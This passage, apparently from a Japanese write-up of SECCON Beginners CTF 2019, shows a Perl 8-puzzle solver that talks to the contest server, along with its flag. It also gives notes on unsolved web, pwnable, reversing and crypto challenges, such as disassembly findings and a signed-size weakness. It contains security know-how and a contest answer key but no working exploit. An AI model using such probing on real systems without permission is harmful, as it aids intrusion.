#print(&right("012345678")."\n");
#print(&right("312045678")."\n");
#print(&right("312645708")."\n");
#print(&right("312645780")."\n");
#exit;
#print &solve("----------------\n| 03 | 01 | 02 |\n| 06 | 04 | 05 |\n| 00 | 07 | 08 |\n----------------");
print &solve("----------------\n| 01 | 00 | 02 |\n| 07 | 04 | 05 |\n| 03 | 06 | 08 |\n----------------");
print "\n";
} else {
use IO::Socket;
my $sock = new IO::Socket::INET(PeerAddr=>"133.242.50.201", PeerPort=>24912, Proto=>"tcp");
die "socket error $!\n" unless $sock;
while (my $read = <$sock>) {
if ($read =~ /---/) {
my $p = $read;
for (my $i = 1; $i < 5; $i++) {
$p .= <$sock>;
}
print "query:\n$p\n";
my $answer = &solve($p);
print "answer:\n$answer\n";
print $sock $answer;
} else {
print "message:\n$read\n";
}
}
close($sock);
}
sub solve {
my $in = $_[0];
$in =~ s/[^0-9|]//g;
$in =~ s/^\|//g;
$in =~ s/\|$//g;
$in =~ s/\|\|/|/g;
my @data = split(/\|/, $in);
my @data2 = ();
for (my $i = 0; $i < @data; $i++) {
push(@data2, int($data[$i]));
}
my $start = join("", @data2);
my @q = ("%" . $start);
my %visited = ();
$visited{$start} = 1;
while (@q > 0) {
my ($r, $s) = split(/%/, shift(@q));
if ($s eq "012345678") {
return substr($r, 1);
}
my $next;
$next = &up($s);
unless ($visited{$next}) {
$visited{$next} = 1;
push(@q, $r . ",0%" . $next);
}
$next = &right($s);
unless ($visited{$next}) {
$visited{$next} = 1;
push(@q, $r . ",1%" . $next);
}
$next = &down($s);
unless ($visited{$next}) {
$visited{$next} = 1;
push(@q, $r . ",2%" . $next);
}
$next = &left($s);
unless ($visited{$next}) {
$visited{$next} = 1;
push(@q, $r . ",3%" . $next);
}
}
return "";
}
sub up {
my $in = $_[0];
my $idx = index($in, "0");
if ($idx < 3) { return $in; }
return substr($in, 0, $idx - 3) . substr($in, $idx, 1) .
substr($in, $idx - 3 + 1, 2) . substr($in, $idx - 3, 1) . substr($in, $idx + 1);
}
sub down {
my $in = $_[0];
my $idx = index($in, "0");
if ($idx > 5) { return $in; }
return substr($in, 0, $idx) . substr($in, $idx + 3, 1) .
substr($in, $idx + 1, 2) . substr($in, $idx, 1) . substr($in, $idx + 3 + 1);
}
sub left {
my $in = $_[0];
my $idx = index($in, "0");
if ($idx % 3 == 0) { return $in; }
return substr($in, 0, $idx - 1) . substr($in, $idx, 1) .
substr($in, $idx - 1, 1) . substr($in, $idx + 1);
}
sub right {
my $in = $_[0];
my $idx = index($in, "0");
if ($idx % 3 == 2) { return $in; }
return substr($in, 0, $idx) . substr($in, $idx + 1, 1) .
substr($in, $idx, 1) . substr($in, $idx + 1 + 1);
}
これを実行すると、しばらく問題と答えが表示されたあと、
[+] Congratulations! ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
と表示された。
解けなかった問題
Web
Himitsu
システムのソースコードと考えられるデータと、データベースの情報が与えられた。
適当に操作してみてもわからず。
ソースコードと考えられるデータを見ると、プレースホルダーを使っており、SQLインジェクションは難しそうであった。
データベースの情報に
INSERT INTO articles VALUES ('censored', '2020/00/00 00:00', 'admin', 'flag', 'flag', 'dummy4b{here_comes_flag}');
という部分があり、ソースコードと考えられるデータに
$created_at = date("Y/m/d H:i");
$article_key = md5($username . $created_at . $title);
という部分があったため、この情報をもとに記事ID818ad85c57419fabdf081beb134c2066
を試してみたが、
該当する記事は無いようだった。
Secure Meyasubako
Himitsuに続き、またreCAPTCHA付きの「管理者に送信」機能がある…なるほど、わからん。
katsudon-okawari
flagのページには、
bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ==
という文字列が書かれていた。
とりあえず--
で区切られた各パートごとにbase64デコードしてみると、
| 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
---+-----------------------------------------------------------------
00 | 6D 02 03 C3 37 E3 B5 97 6F 58 B1 FE 1C 3E 63 86 m..テ7.オ.oXア..>c.
10 | 16 56 E3 DD 7B 70 52 9B C7 B2 C3 44 FC EC 2F 72 .V.ン{pR.ヌイテD../r
20 | 57 A9 0F 15 26 9E 51 61 F2 88 C3 9C 6A 7B FC 61 Wゥ..&.Qa..テ.j{.a
30 | 2E .
| 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
---+-----------------------------------------------------------------
00 | 71 44 BD 7D 07 AD 7C 10 BC C2 C5 7B qDス}.ュ|.シツナ{
| 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
---+-----------------------------------------------------------------
00 | 13 CB D0 6D 11 78 BC 7A 2F 62 53 C5 BC 7D D4 9D .ヒミm.xシz/bSナシ}ヤ.
となり、すぐに意味があるデータは見えなかった。
また、Ruby on Railsのトークンについて軽く調べてみたが、3パートあるトークンの情報は得られなかった。
さらに、「クーポン発行」のページのソースを見ると
<!-- debug: app/controllers/coupon_controller.rb -->
という記述があり、気になったが、このファイルを見つけることはできなかった。
Pwnable
OneLine
与えられたファイルを7-Zipで開くと、libc-2.27.so
とoneline
の2ファイルが得られた。
oneline
をバイナリエディタで開くとELFの文字が見えたので、
機械語コードっぽい部分として0x6A0~0xB4Fの部分を切り出し、objdumpを用いて逆アセンブルした。
その結果を見ると、「0x28バイトまでの入力を読み込み、
その0x20バイト目(0-origin)からの部分を機械語コードのアドレスとして呼び出す」という処理を2回しているようであった。
[warmup] shellcoderでの実験の結果、スタックのアドレスは毎回変わるようだったので、
この問題でも変わりそうだと予想した。そして、どうするべきかわからなくなった。
変わるスタックのアドレスのうち、上位は00 00 7f
で固定のようだったので、
もう一個のファイルlibc-2.27.so
から00 00 7f
(リトルエンディアンなのでデータ上は7f 00 00
)を探してみると、
8バイトアラインメントになっているものだけでもけっこうあった。
しかし、そこからどうするべきかは考えられなかった。
memo
与えられたファイルを7-Zipで開くと、memo
の1ファイルが得られた。
これをバイナリエディタで開くとELFの文字が見えたので、
機械語コードっぽい部分として0x558~0xA1Fの部分を切り出し、objdumpを用いて逆アセンブルした。
その結果、および指定のIPアドレスとポートにTera Termの「その他」で接続しての実験の結果、
まずサイズと称する整数を入力し、その整数が負か32以上なら文字列を入力、そうでなければ入力し直しとなるようだった。
(符号なしで比較するjbe命令を使っていたので、負の整数は大きい正の整数とみなされる)
また、memo
をバイナリエディタで開いて見えた文字列などから、整数はatoi
関数により認識されるようであった。
コードを読んだ結果、ここで入力した整数を加工した値がスタックポインタに足されるようであった。
入力する整数を4ずつ変えた結果、-66~-94を入力したときはYour Contentが出力されず、
-62以上や-98以下を入力した時は、それぞれ違うYour Contentが出力されるようであった。
しかし、ここからどうするべきかはわからなかった。
BabyHeap
与えられたファイルを7-Zipで開くと、babyheap
とlibc-2.27.so
の2ファイルが得られた。
babyheap
をバイナリエディタで開くとELFの文字が見え、0x7A0~0xE1Fが機械語コードっぽかった。
しかし、Pwnableの他2問が解けておらず、この問題も表示されている得点が高かった(解いているチームが少なかった)ため、
解ける見込みが少ないと思い、まともに読まなかった。
Reversing
Leakage
与えられたファイルを7-Zipで開くと、._leakage
とleakage
の2ファイルが得られた。
leakage
をバイナリエディタで開くとELFの文字が見えたので、
機械語コードっぽい部分として0x498~0xE7Fの部分を切り出した。
これをこれまでの問題と同様に
objdump -m i386:x86-64 -b binary -D leakage_seems_code.bin
コマンドで逆アセンブルしようとすると、なぜか途中で
This application has requested the Runtime to terminate it in an unusual way.
Please contact the application's support team for more information.
と出て止まってしまった。
逆アセンブルできた部分を見ると、大量のローテート命令、xor命令、MMX命令が見え、解析は大変そうだと思った。
ファイルleakage
には
0C80 58 A0 00 75 73 61 67 65 3A 20 25 73 20 66 6C 61 X usage: %s fla
0C90 67 0A 00 63 6F 72 72 65 63 74 00 77 72 6F 6E 67 g correct wrong
という部分があったことから、コマンドラインからflag候補の文字列を渡すと、
それがcorrectかwrongかを判定してくれそうだと思えた。
さらに、Leakageというタイトルから、
入れた文字列が間違っている場合どこで間違っているかの情報が得られるかもしれないと考えた。
しかし、解析は大変そうだったので、解析を行わなかった。
Linear Operation
与えられたファイルを7-Zipで開くと、._linear_operation
とlinear_operation
の2ファイルが得られた。
linear_operation
をバイナリエディタで開くと、ELFの文字が見えた。
また、他の問題のELFファイルは13KB程度であったのに対し、このELFファイルは約61KBと大きかった。
Leakageと同様に機械語コードっぽい部分として0x4B8~0xD1B7を切り出し、objdumpで逆アセンブルしようとすると、なぜか途中で
This application has requested the Runtime to terminate it in an unusual way.
Please contact the application's support team for more information.
と出て止まってしまった。
objdumpを呼び出すときのコマンドのi386:x86-64
をi386
にすると、
(内容はともかく)途中で止まらずに逆アセンブル処理ができた。
その結果は、movzbl
命令が多い印象があった。
しかし、解析の方針は立たなかった。
SecconPass
アーカイブファイルではなく、ELFファイルが直接与えられた。
Reversingの他の2問が解けておらず、表示されている得点も高い(解いているチームが少ない)ことから、
解ける見込みが少ないと判断し、解析を行わなかった。
Crypto
[warmup] So Tired
与えられたファイルを7-Zipで開くと、encrypted.txt
が得られた。
中を見るとbase64エンコードっぽかったので、base64デコードしてみると、よくわからないファイルが得られた。
このファイルは約274KBあり、flagだけを暗号化しているにしてはやけに大きいのが気になったが、
だからどうするべきかはわからなかった。
stringsコマンドを用いてみたが、flagらしき文字列は得られなかった。
そこで、とりあえず以下のコードを用いて各バイトの出現頻度を調べてみた。
#include <stdio.h>
int main(int argc, char* argv[]) {
FILE* fp;
int count[256] = {0};
int input;
int max;
int i, j;
if (argc < 2 || (fp = fopen(argv[1], "rb")) == NULL) {
puts("error");
return 1;
}
while ((input = getc(fp)) != EOF) count[input]++;
fclose(fp);
max = 0;
for (i = 0; i < 256; i++) {
if (count[i] > max) max = count[i];
}
for (i = 0; i < 256; i++) {
int len = 70 * count[i] / max;
printf("%6d ", count[i]);
for (j = 0; j < len; j++) putchar('*');
putchar('\n');
}
return 0;
}
その結果、以下のように、0xffが若干少ないかなという感じはしたが、0x00~0xff全てのバイトがほぼ均等に現れているようだった。
1106 **********************************************************
1140 ************************************************************
1074 *********************************************************
1081 *********************************************************
1043 *******************************************************
1017 ******************************************************
1102 **********************************************************
1093 **********************************************************
1088 *********************************************************
1076 *********************************************************
969 ***************************************************
1118 ***********************************************************
1024 ******************************************************
1094 **********************************************************
1067 ********************************************************
1154 *************************************************************
1083 *********************************************************
1071 ********************************************************
1108 **********************************************************
1064 ********************************************************
1088 *********************************************************
1093 **********************************************************
1112 ***********************************************************
1091 *********************************************************
1041 *******************************************************
1071 ********************************************************
1018 ******************************************************
1124 ***********************************************************
1132 ************************************************************
1094 **********************************************************
1056 ********************************************************
1207 ****************************************************************
1095 **********************************************************
1045 *******************************************************
1071 ********************************************************
1022 ******************************************************
1084 *********************************************************
1065 ********************************************************
966 ***************************************************
1078 *********************************************************
1181 **************************************************************
1021 ******************************************************
1065 ********************************************************
1141 ************************************************************
1069 ********************************************************
1048 *******************************************************
1107 **********************************************************
1143 ************************************************************
1093 **********************************************************
1041 *******************************************************
1090 *********************************************************
1103 **********************************************************
1095 **********************************************************
1024 ******************************************************
1085 *********************************************************
1107 **********************************************************
1068 ********************************************************
1104 **********************************************************
1069 ********************************************************
1095 **********************************************************
1089 *********************************************************
1101 **********************************************************
1190 ***************************************************************
1183 **************************************************************
1043 *******************************************************
1078 *********************************************************
1053 *******************************************************
1106 **********************************************************
1127 ***********************************************************
1088 *********************************************************
1119 ***********************************************************
1129 ************************************************************
1068 ********************************************************
1089 *********************************************************
1050 *******************************************************
1129 ************************************************************
1061 ********************************************************
1094 **********************************************************
1046 *******************************************************
1103 **********************************************************
1122 ***********************************************************
1059 ********************************************************
1140 ************************************************************
1061 ********************************************************
1116 ***********************************************************
1070 ********************************************************
1092 **********************************************************
1096 **********************************************************
1061 ********************************************************
1175 **************************************************************
1081 *********************************************************
1075 *********************************************************
1077 *********************************************************
1035 *******************************************************
996 ****************************************************
1196 ***************************************************************
1055 ********************************************************
1118 ***********************************************************
1108 **********************************************************
1110 **********************************************************
1063 ********************************************************
1031 ******************************************************
1097 **********************************************************
1100 **********************************************************
1103 **********************************************************
1096 **********************************************************
1114 ***********************************************************
1077 *********************************************************
1084 *********************************************************
1110 **********************************************************
1073 *********************************************************
1093 **********************************************************
1062 ********************************************************
1092 **********************************************************
1025 ******************************************************
1114 ***********************************************************
1073 *********************************************************
1143 ************************************************************
1081 *********************************************************
1118 ***********************************************************
1080 *********************************************************
1054 ********************************************************
1093 **********************************************************
1064 ********************************************************
1209 ****************************************************************
1208 ****************************************************************
1317 **********************************************************************
1068 ********************************************************
1117 ***********************************************************
1164 *************************************************************
1020 ******************************************************
1109 **********************************************************
1166 *************************************************************
1094 **********************************************************
1006 *****************************************************
1042 *******************************************************
1075 *********************************************************
1027 ******************************************************
1079 *********************************************************
1116 ***********************************************************
1048 *******************************************************
1091 *********************************************************
1060 ********************************************************
1103 **********************************************************
1059 ********************************************************
1039 *******************************************************
1104 **********************************************************
1065 ********************************************************
1074 *********************************************************
1086 *********************************************************
1064 ********************************************************
1110 **********************************************************
1064 ********************************************************
1009 *****************************************************
1071 ********************************************************
1050 *******************************************************
1129 ************************************************************
1061 ********************************************************
1114 ***********************************************************
1195 ***************************************************************
1106 **********************************************************
1086 *********************************************************
1113 ***********************************************************
1123 ***********************************************************
1043 *******************************************************
1079 *********************************************************
1071 ********************************************************
1096 **********************************************************
1027 ******************************************************
1131 ************************************************************
1078 *********************************************************
1140 ************************************************************
1063 ********************************************************
1125 ***********************************************************
1031 ******************************************************
1149 *************************************************************
1101 **********************************************************
1059 ********************************************************
1095 **********************************************************
1161 *************************************************************
1165 *************************************************************
1122 ***********************************************************
1064 ********************************************************
1112 ***********************************************************
1043 *******************************************************
1099 **********************************************************
1078 *********************************************************
1108 **********************************************************
997 ****************************************************
1070 ********************************************************
1106 **********************************************************
1171 **************************************************************
1143 ************************************************************
1134 ************************************************************
1097 **********************************************************
1135 ************************************************************
1067 ********************************************************
1156 *************************************************************
1104 **********************************************************
1114 ***********************************************************
1138 ************************************************************
1126 ***********************************************************
1035 *******************************************************
1118 ***********************************************************
1067 ********************************************************
1065 ********************************************************
1116 ***********************************************************
1147 ************************************************************
1081 *********************************************************
1081 *********************************************************
1110 **********************************************************
1153 *************************************************************
1090 *********************************************************
1026 ******************************************************
1059 ********************************************************
1092 **********************************************************
1112 ***********************************************************
1080 *********************************************************
1070 ********************************************************
1134 ************************************************************
1079 *********************************************************
1070 ********************************************************
1046 *******************************************************
1203 ***************************************************************
1145 ************************************************************
1035 *******************************************************
1075 *********************************************************
1114 ***********************************************************
1126 ***********************************************************
1151 *************************************************************
1068 ********************************************************
1115 ***********************************************************
1119 ***********************************************************
1132 ************************************************************
1025 ******************************************************
1069 ********************************************************
1067 ********************************************************
1119 ***********************************************************
1109 **********************************************************
1146 ************************************************************
1117 ***********************************************************
1150 *************************************************************
1145 ************************************************************
1098 **********************************************************
1176 **************************************************************
1156 *************************************************************
1125 ***********************************************************
1101 **********************************************************
1207 ****************************************************************
1260 ******************************************************************
1177 **************************************************************
1203 ***************************************************************
1241 *****************************************************************
1199 ***************************************************************
1067 ********************************************************
881 **********************************************
また、このファイルを7-Zipで開こうとしても、書庫として開けないようだった。
ここで方針が思いつかず、止まった。
終了の約10分前、ようやく「CTF Crypto」でググってみた。
すると、
CTF Crypto - A painter and a black cat
などがヒットした。
まず、ここで紹介されていたXORSearchでbase64デコードしたファイルからflagを探してみたが、見つからなかった。
次に、CyberChefを試してみることにした。
ForensicsのDetect File Typeを試して見ると、
File extension: zlib
MIME type: application/x-deflate
と出た。
そこで、CompressionのRaw Inflate、Zlib Inflate、Gunzip、Bzip2 Decompressを試したが、全てエラーになってしまった。
ヘッダの部分に細工されている可能性を考えたが、解析をする前に時間切れになってしまった。
(これを書いている時に試した結果、「Detect File Typeの結果」を解凍しようとして失敗していたようで、
Detect File Typeを外してからZlib Inflateをかけると、base64エンコードされているっぽい文字列が得られた)
おまけ
執筆時点までに#ctf4b
を付けてツイートされている、他の皆様(作問側を含む)のwriteupの類をまとめました。
抜けがあったらごめんなさい。
- SECCON Beginners CTF 2019 Writeup - yoshikingのがんばる日記
- SECCON Beginners CTF 2019のWriteup - CTFするぞ
- SECCON Beginners CTF 2019 writeup - アオカケスの鳥かご
- SECCON Beginners CTF 2019 Writeup - こんとろーるしーこんとろーるぶい
- Beginners CTF 2019 の write-up - st98 の日記帳
- CTF4B2019 writeup
- SECCON Beginners CTF 2019 作問Writeup - Tahoo!!
- SECCON for Beginners CTF 2019 write-up - 好奇心の足跡
- Seccon Beginners CTF 2019 write-up - ぶちのブログ
- SECCON Beginners CTF 2019 - Qiita
- SECCON Beginners CTF 2019 Write-Up - ELIFE眞空 ぼちぼちいきます
- containers challenge's builder code. · GitHub
- Leakage ~SECOON Beginners CTF 2019~ - /var/log/msy_study
- セキュエン備忘録: [SECCON Beginners CTF 2019 Writeup] Misc Dump
- SECCON Beginners CTF 2019 Writeup - Qiita
- セキュエン備忘録: [SECCON Beginners CTF 2019 Writeup] Pwnable memo
- SECCON Beginners CTF 2019のアホアホWrite-up - Qiita
- SECCON Beginners CTF 2019 Writeup - Qiita
- Beginners CTF 2019 - writeup | Simple is Best
- SECCON Beginners CTF 2019 - Writeup - Shi0shishi0
- Beginners CTF 2019 write-up - プログラム系統備忘録ブログ